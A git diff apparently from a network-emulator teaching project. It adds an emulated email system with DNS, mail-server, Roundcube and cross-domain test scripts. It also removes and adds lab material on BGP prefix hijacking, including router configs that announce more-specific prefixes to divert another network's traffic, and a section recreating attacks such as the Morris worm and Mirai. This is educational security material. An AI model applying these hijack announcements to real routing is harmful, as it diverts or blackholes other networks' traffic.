nodeName='dns-auth-startup'))) + + # 5. 创建本地DNS缓存服务器 + ldns = DomainNameCachingService() + cache = ldns.install('global-dns-cache') + cache.addForwardZone('com.', 'ns-com') + cache.addForwardZone('net.', 'ns-net') + cache.addForwardZone('cn.', 'ns-cn') + # 直接将邮件域转发到其权威NS,避免依赖根与TLD可用性 + cache.addForwardZone('qq.com.', 'ns-qq-com') + cache.addForwardZone('163.com.', 'ns-163-com') + cache.addForwardZone('gmail.com.', 'ns-gmail-com') + cache.addForwardZone('outlook.com.', 'ns-outlook-com') + cache.addForwardZone('company.cn.', 'ns-company-cn') + cache.addForwardZone('startup.net.', 'ns-startup-net') + + # 在AS-150中创建专门的DNS缓存主机 + base.getAutonomousSystem(150).createHost('dns-cache').joinNetwork('net0', address='10.150.0.53') + + # 绑定DNS缓存服务器 + emu.addBinding(Binding('global-dns-cache', filter=Filter(asn=150, nodeName='dns-cache'))) + + # 为每个邮件服务商所在AS创建本地DNS缓存,避免跨AS访问10.150.0.53 + # 仅转发六个邮件域到其权威NS,减少依赖 + domain_forwarders = [ + ('qq.com.', 'ns-qq-com'), + ('163.com.', 'ns-163-com'), + ('gmail.com.', 'ns-gmail-com'), + ('outlook.com.', 'ns-outlook-com'), + ('company.cn.', 'ns-company-cn'), + ('startup.net.', 'ns-startup-net'), + ] + for asn in [200, 201, 202, 203, 204, 205]: + vname = f'dns-cache-{asn}' + c = ldns.install(vname) + for z, nsname in domain_forwarders: + c.addForwardZone(z, nsname) + asx = base.getAutonomousSystem(asn) + asx.createHost('dns-cache').joinNetwork('net0', address=f'10.{asn}.0.53') + emu.addBinding(Binding(vname, filter=Filter(asn=asn, nodeName='dns-cache'))) + + # 6. 设置所有节点使用这个local DNS + base.setNameServers(['10.150.0.53']) + + print("✅ DNS configuration complete:") + print(" - Root DNS: a-root-server, b-root-server") + print(" - TLD: .com, .net, .cn") + print(" - Mail zones: qq.com, 163.com, gmail.com, outlook.com, company.cn, startup.net") + print(" - MX records: configured for all mail zones") + print(" - Local DNS Cache: 10.150.0.53 (AS-150 dns-cache)") + + return dns, ldns + +def configure_mail_servers(emu): + """Configure mail servers""" + + print("📧 Configuring mail servers...") + + # 邮件服务器配置 + mail_servers = [ + { + 'name': 'mail-qq-tencent', + 'hostname': 'mail', + 'domain': 'qq.com', + 'asn': 200, + 'network': 'net0', + 'ip': '10.200.0.10', + 'gateway': '10.200.0.254', + 'smtp_port': '2200', + 'imap_port': '1400' + }, + { + 'name': 'mail-163-netease', + 'hostname': 'mail', + 'domain': '163.com', + 'asn': 201, + 'network': 'net0', + 'ip': '10.201.0.10', + 'gateway': '10.201.0.254', + 'smtp_port': '2201', + 'imap_port': '1401' + }, + { + 'name': 'mail-gmail-google', + 'hostname': 'mail', + 'domain': 'gmail.com', + 'asn': 202, + 'network': 'net0', + 'ip': '10.202.0.10', + 'gateway': '10.202.0.254', + 'smtp_port': '2202', + 'imap_port': '1402' + }, + { + 'name': 'mail-outlook-microsoft', + 'hostname': 'mail', + 'domain': 'outlook.com', + 'asn': 203, + 'network': 'net0', + 'ip': '10.203.0.10', + 'gateway': '10.203.0.254', + 'smtp_port': '2203', + 'imap_port': '1403' + }, + { + 'name': 'mail-company-aliyun', + 'hostname': 'mail', + 'domain': 'company.cn', + 'asn': 204, + 'network': 'net0', + 'ip': '10.204.0.10', + 'gateway': '10.204.0.254', + 'smtp_port': '2204', + 'imap_port': '1404' + }, + { + 'name': 'mail-startup-selfhosted', + 'hostname': 'mail', + 'domain': 'startup.net', + 'asn': 205, + 'network': 'net0', + 'ip': '10.205.0.10', + 'gateway': '10.205.0.254', + 'smtp_port': '2205', + 'imap_port': '1405' + } + ] + + # Docker Compose配置模板 + MAILSERVER_COMPOSE_TEMPLATE = """\ + {name}: + image: mailserver/docker-mailserver:edge + platform: linux/{platform} + container_name: {name} + hostname: {hostname} + domainname: {domain} + restart: unless-stopped + privileged: true + dns: + - 10.150.0.53 + environment: + - OVERRIDE_HOSTNAME={hostname}.{domain} + - PERMIT_DOCKER=connected-networks + - ONE_DIR=1 + - ENABLE_CLAMAV=0 + - ENABLE_FAIL2BAN=0 + - ENABLE_POSTGREY=0 + - DMS_DEBUG=1 + volumes: + - ./{name}-data/mail-data/:/var/mail/ + - ./{name}-data/mail-state/:/var/mail-state/ + - ./{name}-data/mail-logs/:/var/log/mail/ + - ./{name}-data/config/:/tmp/docker-mailserver/ + - /etc/localtime:/etc/localtime:ro + ports: + - "{smtp_port}:25" + - "{imap_port}:143" + cap_add: + - NET_ADMIN + - SYS_PTRACE + command: > + sh -c " + echo 'Starting mailserver setup...' && + echo 'Fixing network gateway...' && + ip route del default 2>/dev/null || true && + ip route add default via {gateway} dev eth0 && + echo 'Configuring Postfix for cross-domain mail...' && + postconf -e 'relayhost =' && + postconf -e 'smtp_host_lookup = dns' && + postconf -e 'smtp_dns_support_level = enabled' && + sleep 10 && + supervisord -c /etc/supervisor/supervisord.conf + " +""" + + # Auto-detect platform from uname + arch = os.uname().machine if hasattr(os, 'uname') else '' + platform_str = 'arm64' if arch in ('aarch64', 'arm64') else 'amd64' + + print(f"🐳 Using platform: {platform_str}") + + # Return to be used by run() + return mail_servers, MAILSERVER_COMPOSE_TEMPLATE, platform_str + +def configure_internet_map(emu): + """Configure Internet Map visualization (simplified)""" + + # Visualization simplified for now; full support in v30 + print("📊 Visualization setup is simplified; full support planned in v30") + +def run(platform="auto"): + """Run the email system emulation""" + + # Create emulator + emu = Emulator() + + print("🌐 Building realistic network topology...") + base = create_realistic_network(emu) + emu.addLayer(base) + + print("🔧 Configuring routing protocols...") + routing = Routing() + emu.addLayer(routing) + + ebgp = Ebgp() + + # 配置BGP对等关系(关键!) + configure_bgp_peering(ebgp) + + emu.addLayer(ebgp) + + ibgp = Ibgp() + emu.addLayer(ibgp) + + ospf = Ospf() + emu.addLayer(ospf) + + print("📧 Configuring mail servers...") + mail_servers, MAILSERVER_COMPOSE_TEMPLATE, platform_str = configure_mail_servers(emu) + + print("🌍 Configuring DNS system...") + dns, ldns = configure_dns_system(emu, base) + + # 添加DNS层到emulator + emu.addLayer(dns) + emu.addLayer(ldns) + + print("📊 Configuring visualization...") + configure_internet_map(emu) + + print("🐳 Rendering and compiling...") + emu.render() + + # Select Docker platform + arch = os.uname().machine if hasattr(os, 'uname') else '' + auto_plat = Platform.ARM64 if arch in ('aarch64', 'arm64') else Platform.AMD64 + p = (platform or 'auto').lower() + if p in ("amd", "amd64", "x86_64"): + docker = Docker(platform=Platform.AMD64) + elif p in ("arm", "arm64", "aarch64"): + docker = Docker(platform=Platform.ARM64) + else: + docker = Docker(platform=auto_plat) + + # 使用 EmailService(transport 模式)添加邮件服务器到 Docker 配置(绕过DNS,确保跨域稳定) + email_svc = EmailService(platform=f"linux/{platform_str}", mode="transport", dns_nameserver="10.150.0.53") + for mail in mail_servers: + # 为每个提供商分配唯一的 submission/imaps 端口,避免 587/993 端口冲突 + offset = int(mail['asn']) - 200 # 200..205 -> 0..5 + submission_port = str(5870 + offset) + imaps_port = str(9930 + offset) + ports = { + "smtp": mail['smtp_port'], + "submission": submission_port, + "imap": mail['imap_port'], + "imaps": imaps_port, + } + email_svc.add_provider( + domain=mail['domain'], + asn=mail['asn'], + ip=mail['ip'], + gateway=mail['gateway'], + net=mail['network'], + hostname=mail['hostname'], + name=mail['name'], + ports=ports, + dns=f"10.{mail['asn']}.0.53", + ) + email_svc.attach_to_docker(docker) + + emu.compile(docker, "./output", override=True) + emu.updateOutputDirectory(docker, email_svc.get_output_callbacks()) + + print(f""" +====================================================================== +SEED Realistic Email System (29-1) created! +====================================================================== + +🌐 Topology: +---------------------------------------- +📍 Internet Exchanges: + - Beijing-IX (100) + - Shanghai-IX (101) + - Guangzhou-IX (102) + - Global-IX (103) + +🏢 Internet Service Providers: + - AS-2, AS-3, AS-4 + +📧 Mail Providers: +---------------------------------------- +🐧 QQ Mail (AS-200, Tencent) + Container: mail-qq-tencent + Domain: qq.com + IP: 10.200.0.10 + SMTP: localhost:2200 | IMAP: localhost:1400 + +📫 163 Mail (AS-201, NetEase) + Container: mail-163-netease + Domain: 163.com + IP: 10.201.0.10 + SMTP: localhost:2201 | IMAP: localhost:1401 + +✉️ Gmail (AS-202, Google) + Container: mail-gmail-google + Domain: gmail.com + IP: 10.202.0.10 + SMTP: localhost:2202 | IMAP: localhost:1402 + +📬 Outlook (AS-203, Microsoft) + Container: mail-outlook-microsoft + Domain: outlook.com + IP: 10.203.0.10 + SMTP: localhost:2203 | IMAP: localhost:1403 + +🏢 Company (AS-204, Aliyun) + Container: mail-company-aliyun + Domain: company.cn + IP: 10.204.0.10 + SMTP: localhost:2204 | IMAP: localhost:1404 + +🚀 Startup (AS-205, Self-hosted) + Container: mail-startup-selfhosted + Domain: startup.net + IP: 10.205.0.10 + SMTP: localhost:2205 | IMAP: localhost:1405 + +🌐 Monitoring: + Internet Map: http://localhost:8080/map.html + +====================================================================== + "") + +if __name__ == "__main__": + platform = sys.argv[1] if len(sys.argv) > 1 else "auto" + if platform not in ["arm", "amd", "auto", "arm64", "amd64", "x86_64", "aarch64"]: + print("Usage: python3 email_realistic.py [arm|amd|auto]") + sys.exit(1) + run(platform) diff --git a/examples/internet/B29_email_dns/manage_roundcube.sh b/examples/internet/B29_email_dns/manage_roundcube.sh new file mode 100755 index 000000000..318f8599a --- /dev/null +++ b/examples/internet/B29_email_dns/manage_roundcube.sh @@ -0,0 +1,258 @@ +#!/bin/bash +# +# Roundcube Webmail 管理脚本 +# 用于 SEED 邮件系统 (29-email-system) +# + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +COMPOSE_FILE="$SCRIPT_DIR/docker-compose-roundcube.yml" + +compose() { + if docker compose version >/dev/null 2>&1; then + docker compose "$@" + elif command -v docker-compose >/dev/null 2>&1; then + docker-compose "$@" + else + print_error "docker compose/docker-compose not installed" + return 1 + fi +} + +# Colors +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +# Colored printing helpers +print_info() { echo -e "${BLUE}[INFO]${NC} $1"; } +print_success() { echo -e "${GREEN}[SUCCESS]${NC} $1"; } +print_warning() { echo -e "${YELLOW}[WARNING]${NC} $1"; } +print_error() { echo -e "${RED}[ERROR]${NC} $1"; } + +# Check mail servers running +check_mail_servers() { + print_info "Checking mail servers state..." + + cd "$SCRIPT_DIR/output" 2>/dev/null || { + print_error "output directory not found. Run email_realistic.py to generate first" + return 1 + } + + MAIL_SERVERS=$(compose ps 2>/dev/null | grep -E "^mail-" | grep -E "Up|running" | wc -l) + + if [ "$MAIL_SERVERS" -eq 6 ]; then + print_success "All 6 mail servers are running" + return 0 + else + print_warning "Only $MAIL_SERVERS mail servers are running (expected 6)" + print_info "Starting mail servers..." + compose up -d + sleep 10 + return 0 + fi +} + +# Start Roundcube +start_roundcube() { + print_info "Starting Roundcube Webmail..." + + # 检查邮件服务器 + check_mail_servers || return 1 + + # 启动Roundcube + cd "$SCRIPT_DIR" + compose -f "$COMPOSE_FILE" up -d + + if [ $? -eq 0 ]; then + print_success "Roundcube Webmail started" + echo "" + echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" + echo " 📬 Roundcube Webmail: http://localhost:8082" + echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" + echo "" + echo "Test accounts:" + echo " • user@qq.com (password: password123)" + echo " • user@gmail.com (password: password123)" + echo " • user@163.com (password: password123)" + echo "" + echo "Supported providers:" + echo " • qq.com (QQ Mail)" + echo " • 163.com (NetEase)" + echo " • gmail.com (Gmail)" + echo " • outlook.com (Outlook)" + echo " • company.cn (Company)" + echo " • startup.net (Startup)" + echo "" + else + print_error "Failed to start Roundcube" + return 1 + fi +} + +# Stop Roundcube +stop_roundcube() { + print_info "Stopping Roundcube Webmail..." + cd "$SCRIPT_DIR" + compose -f "$COMPOSE_FILE" down + + if [ $? -eq 0 ]; then + print_success "Roundcube Webmail stopped" + else + print_error "Stop failed" + return 1 + fi +} + +# Restart Roundcube +restart_roundcube() { + print_info "Restarting Roundcube Webmail..." + stop_roundcube + sleep 2 + start_roundcube +} + +# Status +status_roundcube() { + print_info "Roundcube service status:" + echo "" + docker ps --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}" | grep -E "(roundcube|NAME)" + echo "" + + # 检查服务是否可访问 + if curl -s -o /dev/null -w "%{http_code}" http://localhost:8082 | grep -q "200\|302"; then + print_success "Roundcube is reachable at http://localhost:8082" + else + print_warning "Roundcube web is not reachable" + fi +} + +# Logs +logs_roundcube() { + print_info "Roundcube logs (Ctrl+C to exit):" + docker logs -f roundcube-webmail-b29 +} + +# Create test accounts (6 providers) +create_test_accounts() { + print_info "Creating test mail accounts..." + + # QQ邮箱 + printf "password123\npassword123\n" | docker exec -i mail-qq-tencent setup email add user@qq.com 2>/dev/null + if [ $? -eq 0 ]; then + print_success "Created user@qq.com" + else + print_warning "user@qq.com may already exist" + fi + + # 163邮箱 + printf "password123\npassword123\n" | docker exec -i mail-163-netease setup email add user@163.com 2>/dev/null + if [ $? -eq 0 ]; then + print_success "Created user@163.com" + else + print_warning "user@163.com may already exist" + fi + + # Gmail + printf "password123\npassword123\n" | docker exec -i mail-gmail-google setup email add user@gmail.com 2>/dev/null + if [ $? -eq 0 ]; then + print_success "Created user@gmail.com" + else + print_warning "user@gmail.com may already exist" + fi + + # Outlook + printf "password123\npassword123\n" | docker exec -i mail-outlook-microsoft setup email add user@outlook.com 2>/dev/null + if [ $? -eq 0 ]; then + print_success "Created user@outlook.com" + else + print_warning "user@outlook.com may already exist" + fi + + # 企业邮箱 + printf "password123\npassword123\n" | docker exec -i mail-company-aliyun setup email add admin@company.cn 2>/dev/null + if [ $? -eq 0 ]; then + print_success "Created admin@company.cn" + else + print_warning "admin@company.cn may already exist" + fi + + # 自建邮箱 + printf "password123\npassword123\n" | docker exec -i mail-startup-selfhosted setup email add founder@startup.net 2>/dev/null + if [ $? -eq 0 ]; then + print_success "Created founder@startup.net" + else + print_warning "founder@startup.net may already exist" + fi + + echo "" + print_success "Test accounts ready. You can log in with these accounts in Roundcube." + echo "" + echo "Test account list:" + echo " • user@qq.com / password123" + echo " • user@163.com / password123" + echo " • user@gmail.com / password123" + echo " • user@outlook.com / password123" + echo " • admin@company.cn / password123" + echo " • founder@startup.net / password123" +} + +# Help +show_help() { + echo "" + echo "Roundcube Webmail Management" + echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" + echo "" + echo "Usage: $0 " + echo "" + echo "Commands:" + echo " start - Start Roundcube Webmail" + echo " stop - Stop Roundcube Webmail" + echo " restart - Restart Roundcube Webmail" + echo " status - Show status" + echo " logs - Tail logs" + echo " accounts - Create test mail accounts" + echo " help - Show this help" + echo "" + echo "Examples:" + echo " $0 start # Start Roundcube" + echo " $0 status # Show status" + echo " $0 accounts # Create test accounts" + echo "" +} + +# 主程序 +main() { + case "$1" in + start) + start_roundcube + ;; + stop) + stop_roundcube + ;; + restart) + restart_roundcube + ;; + status) + status_roundcube + ;; + logs) + logs_roundcube + ;; + accounts) + create_test_accounts + ;; + help|--help|-h|"") + show_help + ;; + *) + print_error "Unknown command: $1" + show_help + exit 1 + ;; + esac +} + +main "$@" + diff --git a/examples/internet/B29_email_dns/run_cross_tests.sh b/examples/internet/B29_email_dns/run_cross_tests.sh new file mode 100644 index 000000000..a74c854ff --- /dev/null +++ b/examples/internet/B29_email_dns/run_cross_tests.sh @@ -0,0 +1,122 @@ +#!/usr/bin/env bash +# Cross-domain test runner for B29 Email (DNS-first) +# Default: test primary providers only (qq, 163, gmail, outlook) to avoid known AS-204<->AS-205 routing issue +# Usage: +# bash run_cross_tests.sh # primary providers only +# bash run_cross_tests.sh --all # all six providers +# bash run_cross_tests.sh --pairs file.txt # custom pairs: each line "from_addr to_addr" +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +OUTPUT_DIR="$SCRIPT_DIR/output" + +containers=( + mail-qq-tencent + mail-163-netease + mail-gmail-google + mail-outlook-microsoft + mail-company-aliyun + mail-startup-selfhosted +) +domains=( + qq.com + 163.com + gmail.com + outlook.com + company.cn + startup.net +) +# default sender usernames by domain index +from_users=( + user + user + user + user + admin + founder +) + +use_all=0 +pairs_file="" +while [[ $# -gt 0 ]]; do + case "$1" in + --all) use_all=1; shift;; + --pairs) pairs_file="${2:-}"; shift 2;; + *) echo "Unknown arg: $1"; exit 1;; + esac +done + +# Ensure output is up +if [ ! -f "$OUTPUT_DIR/docker-compose.yml" ]; then + echo "[run_cross_tests] output/docker-compose.yml not found; run 'bash b29ctl.sh start' first" >&2 + exit 1 +fi + +# Build test pairs +declare -a FROM_CONTAINERS +declare -a FROM_ADDRS +declare -a TO_CONTAINERS +declare -a TO_ADDRS + +if [ -n "$pairs_file" ]; then + # custom pairs + while read -r a b; do + [[ -z "${a:-}" || "${a:0:1}" == "#" ]] && continue + from="${a}"; to="${b}" + # infer recipient container by domain + to_domain="${to##*@}" + to_ci=-1 + for idx in {0..5}; do + if [[ "${domains[$idx]}" == "$to_domain" ]]; then to_ci=$idx; break; fi + done + if [[ $to_ci -lt 0 ]]; then echo "Unknown recipient domain: $to"; continue; fi + # infer sender container by domain + from_domain="${from##*@}" + from_ci=-1 + for idx in {0..5}; do + if [[ "${domains[$idx]}" == "$from_domain" ]]; then from_ci=$idx; break; fi + done + if [[ $from_ci -lt 0 ]]; then echo "Unknown sender domain: $from"; continue; fi + FROM_CONTAINERS+=("${containers[$from_ci]}") + FROM_ADDRS+=("$from") + TO_CONTAINERS+=("${containers[$to_ci]}") + TO_ADDRS+=("$to") + done < "$pairs_file" +else + # matrix pairs (primary providers by default) + if [[ $use_all -eq 1 ]]; then idxs=(0 1 2 3 4 5); else idxs=(0 1 2 3); fi + for i in "${idxs[@]}"; do + for j in "${idxs[@]}"; do + if [[ $i -ne $j ]]; then + from_c="${containers[$i]}"; from_d="${domains[$i]}"; from_user="${from_users[$i]}"; from_addr="${from_user}@${from_d}" + to_c="${containers[$j]}"; to_d="${domains[$j]}" + # default recipient user maps: user for first four, admin for company, founder for startup + case "$to_d" in + company.cn) to_user="admin";; + startup.net) to_user="founder";; + *) to_user="user";; + esac + to_addr="${to_user}@${to_d}" + FROM_CONTAINERS+=("$from_c"); FROM_ADDRS+=("$from_addr"); TO_CONTAINERS+=("$to_c"); TO_ADDRS+=("$to_addr") + fi + done + done +fi + +ok=0; fail=0; total=0 +for idx in "${!FROM_CONTAINERS[@]}"; do + from_c="${FROM_CONTAINERS[$idx]}"; from_addr="${FROM_ADDRS[$idx]}" + to_c="${TO_CONTAINERS[$idx]}"; to_addr="${TO_ADDRS[$idx]}" + total=$((total+1)) + subject_token="$(date +%s)-$RANDOM" + printf "Subject: %s\nTo: %s\nFrom: %s\n\nHi %s\n" "${from_addr##*@}->${to_addr##*@}" "$to_addr" "$from_addr" "$subject_token" \ + | docker exec -i "$from_c" sh -c "sendmail -t" || true + delivered=0 + for k in {1..15}; do + if docker exec "$to_c" sh -lc "grep -E \"(Saved|stored mail into mailbox .*INBOX|status=sent .* to=<$to_addr>)\" -n /var/log/mail/mail.log" >/dev/null 2>&1; then + delivered=1; break; fi + sleep 1 + done + if [[ $delivered -eq 1 ]]; then echo "OK ${from_addr##*@} -> ${to_addr##*@}"; ok=$((ok+1)); else echo "FAIL ${from_addr##*@} -> ${to_addr##*@}"; fail=$((fail+1)); fi +done +printf "SUMMARY: OK=%d FAIL=%d TOTAL=%d\n" "$ok" "$fail" "$total" diff --git a/examples/internet/B51_bgp_prefix_hijacking/README.md b/examples/internet/B51_bgp_prefix_hijacking/README.md deleted file mode 100644 index 739b35661..000000000 --- a/examples/internet/B51_bgp_prefix_hijacking/README.md +++ /dev/null @@ -1,115 +0,0 @@ -# BGP Attack: Network Prefix Hijacking - -This example demonstrates how to launch the network prefix hijacking -attack inside the emulator. It uses the mini-Internet built from -Example-B00 as the base. - - -# Creating a Malicious Autonomous System - -We will create a new autonomous system (`AS-199`) and use it as the -attacker. We attack its BGP router to Internet exchange `ix-105`, and peer -it with `AS-2`. It should be noted that the peering relationship should -be set to `Unfiltered`, or the attack approach in this example will not -work. The attack will still work if we choose to use the `Provider` relationship, but -the setup will be more complicated. For the sake of simplicity, we -choose to use the `Unfiltered` type. - -``` -as199 = base.createAutonomousSystem(199) - -as199.createRouter('router0').joinNetwork('net0').joinNetwork('ix105') -ebgp.addPrivatePeerings(105, [2], [199], PeerRelationship.Unfiltered) -``` - -# Hijacking AS-153's Network Prefix - -We would like to use `AS-199` to hijack the network `10.153.0.0/24`. -To do that, we need to modify the BGP setup on the BGP router inside -`AS-199`. We have only set up one BGP router. Go to this container, -go to the `/etc/bird` folder, and open the BGP configuration file `bird.conf`. -The `vim` and `nano` editors are already installed inside the container. -Add the following to the end of the configuration file. -We announce two network prefixes `10.153.0.0/25` and `10.153.0.128/25`, which -completely cover the prefix `10.153.0.0/24` announced by `AS-153`. -Any IP address inside `10.153.0.0/24` will match two IP prefixes, one -announced by the attacker, and the other one announced by -`AS-153`, but the one announced by the attacker has a longer -match (25 bits, compared to the 24 bits from `AS-153`), so the -attacker's prefix will be selected by all the BGP routers on -the Internet. - - -``` -protocol static hijacks { - ipv4 { - table t_bgp; - }; - route 10.153.0.0/25 blackhole { bgp_large_community.add(LOCAL_COMM); }; - route 10.153.0.128/25 blackhole { bgp_large_community.add(LOCAL_COMM); }; -} -``` - -Note: in the real world, the longest prefix allowed in the DFZ is /24. So -realistically, a /25 prefix will not be accepted by any of the peers, and -therefore hijacking with /25 prefixes will not work (but one can still hijack a -/23 with two /24s with the same principle). In our emulator, we did not enforce -the maximum prefix length. - -After making the change, ask the BGP router to reload configuration file -using the following command. - -``` -# birdc configure -``` - - -# Testing - -We can pick any hosts on the emulator Internet, run the following command, -and we will not be able to get any reply, because the packets are hijacked -by `AS-199` and sent to a blackhole. - -``` -ping 10.153.0.71 -``` - -To see where the packets go, we can start the map tool, set the -filter to `icmp`. We will see that all the ping packets are rerouted to -`AS-199`. - -On the map, we can go to `AS-199`'s BGP router, click the `Disable` button -to disable its BGP session. We will see immediately that the traffic -gets rerouted back to `AS-153`, and our ping program gets the replies. -We can enable the BGP session again to start the attack. - - -**Additional exercise**: Instead of using `/25` in the hijacked network prefix, -we can try `/24`, `/26`, etc, and see how it works. These additional exercises -will help students better understand how the attack works. - - -# Hijacking Network Prefixes from a Real Autonomous System - -It will be more fun to launch such an attack on the real autonomous system, -but without doing real damages to the real world. This is made possible -by the emulator. We can add a real-world autonomous system inside the emulator. - -The emulator built by Example-B00 already includes a real-world AS, `AS-11872`. -It announces several network prefixes to the emulator, and these network -prefixes are real and they are owned by the real-world `AS-11872`. -Inside the emulator, packets going to these network prefixes -will be routed to the emulated `AS-11872` autonomous system, which -will then forward the packets to their real destination -on the real Internet. Responses will come back to this emulated -autonomous system, and be routed to the sender inside the emulator. - -By connecting the emulated Internet with the real Internet, our emulator -becomes a shadow Internet. Packets to a real-world destination will traverse -through our shadow Internet first, before getting into the real Internet. -Therefore, for many attacks that cannot (legally and/or technically) -be launched on the real Internet, they can be launched on the shadow -Internet. Users will observe and feel the same impact as if the attack -were launched against the real Internet. - - diff --git a/examples/scion/S01_scion/.gitattributes b/examples/scion/S01_scion/.gitattributes new file mode 100644 index 000000000..328e8313b --- /dev/null +++ b/examples/scion/S01_scion/.gitattributes @@ -0,0 +1,6 @@ +*.sh text eol=lf +*interface_setup* text eol=lf +Dockerfile* text eol=lf +*.toml text eol=lf +*.yml text eol=lf +*.yaml text eol=lf \ No newline at end of file diff --git a/examples/yesterday_once_more/README.md b/examples/yesterday_once_more/README.md new file mode 100644 index 000000000..4e693adc9 --- /dev/null +++ b/examples/yesterday_once_more/README.md @@ -0,0 +1,7 @@ +# Yesterday Once More + +We recreate some of the notorious Internet attacks and incidents: + +- Y01_bgp_prefix_hijacking +- Y02_morris_worm +- Y03_mirai diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/.gitignore b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/.gitignore new file mode 100644 index 000000000..d2c19f12b --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/.gitignore @@ -0,0 +1 @@ +output* diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/README.md b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/README.md new file mode 100644 index 000000000..576dfc0ef --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/README.md @@ -0,0 +1,6 @@ +# BGP Prefix Hijacking Attack + +We created two networks, one larger than the other. The larger one +has a real-world router, so it can connect to the outside world, +allowing to hijack outside networks. Jupyter notebooks are +provide in `demo1` and `demo2` folders. diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/README.md b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/README.md new file mode 100644 index 000000000..87a5a7ee5 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/README.md @@ -0,0 +1,5 @@ +## BGP 网络前缀劫持攻击 + +攻击所需要的文件和脚本都已经在当前目录下提供。可以用两种方法来重现这个攻击 +- 使用提供的脚本 (`script_no_use/`) +- 在当前目录下运行`jupyter lab`, 然后打开浏览器,指向 [localhost:8888](localhost:8888),打开 `bgp_attack.ipynb` 和 `bgp_restore.ipynb` notebook。 diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as153brd_bird.conf_fightback b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as153brd_bird.conf_fightback new file mode 100644 index 000000000..3bfac656a --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as153brd_bird.conf_fightback @@ -0,0 +1,94 @@ +router id 10.0.0.19; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net0"; + +} +define LOCAL_COMM = (153, 0, 0); +define CUSTOMER_COMM = (153, 1, 0); +define PEER_COMM = (153, 2, 0); +define PROVIDER_COMM = (153, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp u_as12 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.101.0.153 as 153; + neighbor 10.101.0.12 as 12; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix101" { stub; }; + interface "net0" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} + +######################################### +# Added for BGP Attack +# Fight back +######################################### + +protocol static { + ipv4 { table t_bgp; }; + route 10.153.0.0/26 via "net0" { + bgp_large_community.add(LOCAL_COMM); + }; + route 10.153.0.64/26 via "net0" { + bgp_large_community.add(LOCAL_COMM); + }; + route 10.153.0.128/26 via "net0" { + bgp_large_community.add(LOCAL_COMM); + }; + route 10.153.0.192/26 via "net0" { + bgp_large_community.add(LOCAL_COMM); + }; +} + + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as153brd_bird.conf_original b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as153brd_bird.conf_original new file mode 100644 index 000000000..dd82d8057 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as153brd_bird.conf_original @@ -0,0 +1,72 @@ +router id 10.0.0.19; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net0"; + +} +define LOCAL_COMM = (153, 0, 0); +define CUSTOMER_COMM = (153, 1, 0); +define PEER_COMM = (153, 2, 0); +define PROVIDER_COMM = (153, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp u_as12 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.101.0.153 as 153; + neighbor 10.101.0.12 as 12; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix101" { stub; }; + interface "net0" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as199brd_bird.conf_malicious b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as199brd_bird.conf_malicious new file mode 100644 index 000000000..196348119 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as199brd_bird.conf_malicious @@ -0,0 